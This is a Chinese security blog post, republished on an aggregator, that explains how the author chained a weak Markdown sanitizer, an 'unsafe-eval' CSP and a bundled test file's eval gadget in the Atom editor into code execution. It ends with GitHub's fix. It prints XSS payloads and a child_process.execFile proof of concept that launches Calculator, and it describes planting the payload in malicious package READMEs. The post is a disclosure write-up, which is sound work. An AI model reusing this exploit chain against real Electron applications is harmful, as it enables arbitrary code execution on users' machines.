搜文章
推荐 原创 视频 Java开发 iOS开发 前端开发 JavaScript开发 Android开发 PHP开发 数据库 开发工具 Python开发 Kotlin开发 Ruby开发 .NET开发 服务器运维 开放平台 架构师 大数据 云计算 人工智能 开发语言 其它开发
Lambda在线 > 嘶吼专业版 > Atom也爆远程代码执行漏洞?就问你怕不怕!

Atom也爆远程代码执行漏洞?就问你怕不怕!

嘶吼专业版 2017-11-30

0x00 前言

最近我花了点时间看了下Atom(https://atom.io/)  ,它是由Github发布的文本编辑器。经过一段时间的研究,我可以将Atom中的多个漏洞组合利用最终实现远程代码执行。 

Atom也爆远程代码执行漏洞?就问你怕不怕!0x01 将Web安全问题带到了桌面应用?

Atom是使用Electron(https://electronjs.org/)写的。Electron是一个基于JavaScript、HTML和CSS用于开发桌面应用的跨平台框架。通过利用现成的框架,可以极大的提高开发效率。 

Atom也爆远程代码执行漏洞?就问你怕不怕!0x02 通过CSP缓解缓解XSS漏洞

在我们挖掘漏洞之前,我们先看一下GitHub的开发人员是如何缓解Atom的XSS问题:使用Content-Security-Policy(内容安全策略)。 翻一下Atom的index.html代码,你会看到下面的策略:

<!DOCTYPE html><html>

   <head>

      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">

      <script ></script>

   </head>

   <body tabindex="-1"></body></html>


script-src'self''unsafe-eval'的含义是着同源的JavaScript以及使用eval like构造创建的代码可以被执行。但是,任何内嵌的JavaScript代码都不会被执行。 简单来说,来自“index.js”的JavaScript可以再下面的示例中执行,alert(1) 不能执行,因为它属于内联JavaScript代码:

<!DOCTYPE html><html>

   <head>

      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">

   </head>

   <!-- Following line will be executed since it is JS embedded from the same origin -->

   <script ></script>

   <!-- Following line will not be executed since it is inline JavaScript -->

   <script>alert(1)</script></html>


Atom也爆远程代码执行漏洞?就问你怕不怕!0x03 Atom是如何解析Markdown文件的

在挖掘包含语法解析器或预览生成器软件的漏洞时,花费一些时间来研究这些组件往往会有意想不到的收获。通常情况下,解析库一般是采用了一些第三方组件,这些组件再开发时可能已经考虑到了这些安全问题。但是就安全性这个问题来讲,组件的原作者以及后续基于该组件的开发者来说,两类人可能会有不同的需求。 举个例子,开发者会默认这些库的输入内容都是可信的。所以我们先来看一看Atom是如何解析Markdown文件的。这个默认组件的相关代码可以在GitHub上找到:https://github.com/atom/markdown-preview。粗略的看了先,我发现,Markdown解析器似乎也解析了任意的HTML文档: 

Atom也爆远程代码执行漏洞?就问你怕不怕!

所以第一个想法是插入一个简单的JavaScript代码片段来检查JavaScript是否被Markdown库过滤。虽然CSP会阻止代码在这里执行,但是通过这个方法可以检测到是否采用了一些基本的过滤手段。 如下图所示,事实证明,响应的脚本代码并不会出现在DOM中。 

Atom也爆远程代码执行漏洞?就问你怕不怕!

所以,针对GitHub上的研究发现,并不是所有的HTML代码都可以直接渲染执行的。我们来看一下Markdown库是如何对输入的内容进行过滤的:

sanitize = (html) ->

  o = cheerio.load(html)

  o('script').remove()

  attributesToRemove = [     'onabort'

    'onblur'

    'onchange'

    'onclick'

    'ondbclick'

    'onerror'

    'onfocus'

    'onkeydown'

    'onkeypress'

    'onkeyup'

    'onload'

    'onmousedown'

    'onmousemove'

    'onmouseover'

    'onmouseout'

    'onmouseup'

    'onreset'

    'onresize'

    'onscroll'

    'onselect'

    'onsubmit'

    'onunload'

  ]

  o('*').removeAttr(attribute) for attribute in attributesToRemove

  o.html()


可以说是这个过滤手段是非常的鸡肋了,但是再配合上CSP的力量,常规的payload应该都不会被执行。 还是回头看一下之前的截图,仍然有一些payload是可以被加载的。 

通过截图可以看到,Atom是在file://协议下执行的,那么如果我们创建一个恶意的HTML文件并在本地嵌入,会发生什么事呢?按理来说这将被Electron识别为同源,因此JavaScript代码应该会被执行。 所以我在home文件夹中创建了一个名为hacked.html的文件,文件内容如下:

<script>

   alert(1);</script>

现在只需在Markdown文档中嵌入iframe,就可以触发JavaScript代码。事实确实是这样。 

Atom也爆远程代码执行漏洞?就问你怕不怕!0x04 构造本地DOM XSS漏洞利用链

虽然我现在已经能够执行任意的JavaScript代码了,但是这里存在一个问题:要想利用这个漏洞需要跟用户进行大量的交互。

1.用户必须主动打开这个Markdown 文档

2.用户必须打开Markdown文档预览

3.恶意Markdown文档需要包含另一个本地恶意JavaScript文件

所以这种问题要是再真实的攻击场景中,那就有点鸡肋了。换个思路,如果包含存在DOM XSS漏洞的本地文件呢?这意味着可以成功的利用这一漏洞。所以我决定看看其他的HTML文件。 幸运的是,在OS X上,应用程序只是一堆文件,我们可以直接看到代码。从这个文件夹开始往下看:/Applications/Atom.app/Contents:

Atom也爆远程代码执行漏洞?就问你怕不怕!

搜索文件夹下的HTML文件找到了这样一些文件:

➜  Contents find . -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html

./Resources/app/apm/node_modules/clone/test-apart-ctx.html

./Resources/app/apm/node_modules/clone/test.html

./Resources/app/apm/node_modules/colors/example.html

./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html

./Resources/app/apm/node_modules/jsbn/example.html


可以使用一些审计js代码的工具:https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/,或者也可以人工的去审计这些HTML文件。 

<html>

  <head>

    <meta charset="utf-8">

    <title>Clone Test-Suite (Browser)</title>

  </head>

  <body>

    <script>

      var data = document.location.search.substr(1).split('&');      try {

        ctx = parent[data[0]];        eval(decodeURIComponent(data[1]));        window.results = results;

      } catch(e) {        var extra = '';        if (e.name == 'SecurityError')

          extra = 'This test suite needs to be run on an http server.';

        alert('Apart Context iFrame Errorn' + e + 'nn' + extra);        throw e;

      }    </script>

  </body></html>


在document.location.search上有一个eval调用,可以通过URL控制传入的内容。而且,Atom的Content-Security-Policy允许eval语句执行,所以打开如下所示的代码应该也会弹窗:

file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)

实际上,下面的Markdown文档就足以执行任意的JavaScript代码了:

<iframe ></iframe>

Atom也爆远程代码执行漏洞?就问你怕不怕!

Atom也爆远程代码执行漏洞?就问你怕不怕!0x05 本地任意代码执行

正如文章前面所说,在Electron应用程序中执行恶意JavaScript代码通常也就意味着本地任意代码执行。在这种情况下,一个简单的思路就是访问window.top对象,并使用NodeJS require函数访问child_process模块。 通过以下JavaScript代码可以打开Mac OS X计算器:

<script type="text/javascript">  window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});</script>

以前的漏洞利用方式是这样的:

<iframe ></iframe>

只要打开构造好的Markdown文档,Calculator.app就会打开执行: 

Atom也爆远程代码执行漏洞?就问你怕不怕!0x06 如何实现远程任意代码执行?

虽然经过上面的研究我们已经取得了一些进展,但仍然需要受害者打开恶意的Markdown文档(需要用户交互的漏洞,价值都会大打折扣)。想了下,要知道tom渲染Markdown文档可不止这一处。 在Atom源代码上执行grep搜索之后,还有另外一个渲染Markdown文件的模块https://github.com/atom/settings-view/。看了下它的过滤手段,也没啥卵用。

const ATTRIBUTES_TO_REMOVE = [  'onabort',  'onblur',  'onchange',  'onclick',  'ondbclick',  'onerror',  'onfocus',  'onkeydown',  'onkeypress',  'onkeyup',  'onload',  'onmousedown',  'onmousemove',  'onmouseover',  'onmouseout',  'onmouseup',  'onreset',  'onresize',  'onscroll',  'onselect',  'onsubmit',  'onunload']function sanitize (html) {  const temporaryContainer = document.createElement('div')

  temporaryContainer.innerHTML = html  for (const script of temporaryContainer.querySelectorAll('script')) {

    script.remove()

  }  for (const element of temporaryContainer.querySelectorAll('*')) {    for (const attribute of ATTRIBUTES_TO_REMOVE) {

      element.removeAttribute(attribute)

    }

  }  for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {

    checkbox.setAttribute('disabled', true)

  }  return temporaryContainer.innerHTML

}


这里的Markdown解析器也存在安全问题,而且似乎比前者更严重。Atom支持“Packages”,可以由社区的开发者提供第三方插件的扩展。这些第三方插件中Markdown格式的README,会在Atom视图中呈现。 因此,恶意攻击者只需要注册一堆恶意软件包,或者提供一些与现有软件名称相似的软件包,再README中插入恶意代码。只要有人点击该名称即可(并不需要安装!),恶意代码就可以成功的被执行了。 

Atom也爆远程代码执行漏洞?就问你怕不怕!0x07 来看一下Github是怎么修复这个漏洞的

经过与GitHub开发组讨论之后,这个漏洞已经被修复了,修复方法如下:

从软件包中删除不必要的HTML文件

使用 DOMPurify (https://github.com/cure53/DOMPurify)过滤Markdown中的内容


版权声明:本站内容全部来自于腾讯微信公众号,属第三方自助推荐收录。《Atom也爆远程代码执行漏洞?就问你怕不怕!》的版权归原作者「嘶吼专业版」所有,文章言论观点不代表Lambda在线的观点, Lambda在线不承担任何法律责任。如需删除可联系QQ:516101458

文章来源: 阅读原文

相关阅读

关注嘶吼专业版微信公众号

嘶吼专业版微信公众号:Pro4hou

嘶吼专业版

手机扫描上方二维码即可关注嘶吼专业版微信公众号

嘶吼专业版最新文章

精品公众号随机推荐